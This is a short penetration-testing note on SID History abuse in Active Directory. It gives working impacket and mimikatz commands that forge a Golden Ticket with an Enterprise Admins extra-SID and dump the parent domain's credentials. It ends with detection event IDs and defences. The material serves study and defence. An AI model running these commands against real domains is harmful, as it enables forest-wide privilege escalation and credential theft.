SID History Abuse

SID History abuse takes an attribute meant for domain migrations and uses it to carry privileges from one domain to another within a forest. It is the classic way to escalate from a child domain to the forest root once the child is controlled.

What it is based on. The sIDHistory attribute lets a migrated account keep the SID it had in its source domain; the KDC adds them to the user's token as if they were its own. If we inject a high-privilege SID (for example, the parent domain's Enterprise Admins, RID 519) into a Golden Ticket, we gain those privileges across the whole forest, because SID filtering is not enforced within the same forest by default.

How it is executed. From a child-domain DC (already Domain Admin of the child) we forge the ticket with the parent's SID as an extra-sid:

# obtain the SID of both domains
lookupsid.py <child>/<user>:<pass>@<child-dc> | grep -i 'Domain SID'
# forge the Golden Ticket with the parent SID as extra-sid
ticketer.py -nthash <krbtgt-hash> -domain-sid <child-sid> -domain <child> \
  -extra-sid <parent-sid>-519 Administrator
KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass <parent-dc>
# impacket automates the whole child -> parent chain
raiseChild.py <child>/<user>:<pass>

On Windows, the same Golden Ticket with mimikatz:

kerberos::golden /user:Administrator /domain:<child> /sid:<child-sid> /krbtgt:<krbtgt-hash> /sids:<parent-sid>-519 /ptt

You can also write an account's sIDHistory directly with mimikatz (sid::add) via DCShadow, though the Golden Ticket with an extra-sid is the most common route in an exam or engagement.

Requirements. Control of the child domain's krbtgt (or DCSync over it) and an intra-forest trust without SID filtering, which is the default behaviour between domains of the same forest.

How to detect it. Watch for changes to sIDHistory (Event ID 4765/4766, SID History was added/could not be added) and ticket requests (4769) presenting high-privilege SID from another domain for accounts that should not have them. A ticket with an Enterprise Admins extra-sid on a child-domain account is the signature of the attack.

Defence. Enable SID filtering (SID filtering / quarantine) on trusts where possible, protect the krbtgt account (rotate it twice on suspicion of compromise), and audit the sIDHistory attribute. Related to Golden Ticket and DCSync.